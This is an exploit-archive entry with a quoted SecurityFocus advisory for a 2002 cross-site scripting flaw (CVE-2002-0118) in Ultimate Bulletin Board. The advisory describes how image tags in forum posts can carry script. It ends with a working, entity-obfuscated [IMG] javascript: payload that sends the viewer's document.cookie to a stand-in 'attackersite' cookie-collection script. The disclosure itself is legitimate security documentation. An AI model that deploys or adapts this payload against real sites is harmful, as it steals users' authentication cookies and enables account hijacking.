Ultimate Bulletin Board 5.4/6.0/6.2 - Cross-Agent Scripting

Author: Obscure
type: webapps
platform: cgi
port: 
date_added: 2002-01-09 
date_updated: 2012-09-09 
verified: 1 
codes: CVE-2002-0118;OSVDB-8858 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/3829/info

UBB (Ultimate Bulletin Board) is commercial web forums/community software that is written in Perl. It runs on various Unix/Linux variants, as well as Microsoft Windows NT/2000.

UBB is prone to cross-agent scripting attacks via the insertion of HTML tags into image links in messages. Due to insufficient input validation, it is possible to insert arbitrary script code in forum messages/replies. The malicious script code will be executed in the browser of the user viewing the message, in the context of the site running UBB.

This makes it possible for a malicious user to post a message which is capable of stealing another legitimate user's cookie-based authentication credentials.

The following example will send cookie-based authentication credentials to the attacker's site:

[IMG]javascript:document.write
&#x28;'<img%20src=&#x68;tt&#x70;://attackersite/tools/cookie.plx?
cookie='+escape&#x28;document.cook&#x69;e&#x29;+'>'&#x29;
[/IMG]